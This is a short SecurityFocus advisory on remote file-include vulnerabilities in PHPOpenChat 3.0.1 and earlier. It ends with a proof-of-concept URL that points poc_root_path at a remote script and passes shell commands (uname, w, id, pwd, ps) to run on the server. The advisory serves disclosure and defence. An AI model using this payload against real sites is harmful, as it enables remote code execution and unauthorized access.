source: http://www.securityfocus.com/bid/12817/info
  
PHPOpenChat is prone to multiple remote file-include vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. 

http://www.example.com/phpopenchat/contrib/phpnuke/ENGLISH_poc.php?poc_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps